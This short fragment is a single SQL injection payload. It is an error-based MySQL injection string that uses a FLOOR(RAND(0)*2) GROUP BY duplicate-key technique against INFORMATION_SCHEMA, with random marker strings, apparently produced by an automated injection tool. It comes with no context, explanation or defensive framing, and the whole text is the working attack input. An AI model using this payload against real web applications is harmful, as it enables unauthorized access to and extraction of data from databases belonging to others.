atestu' AND (SELECT 4892 FROM(SELECT COUNT(*),CONCAT('K6HcbRGu',(SELECT (CASE WHEN (4892=4892) THEN 1 ELSE 0 END)),'K6HcbRGu',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'K6HcbRGu'='K6HcbRGu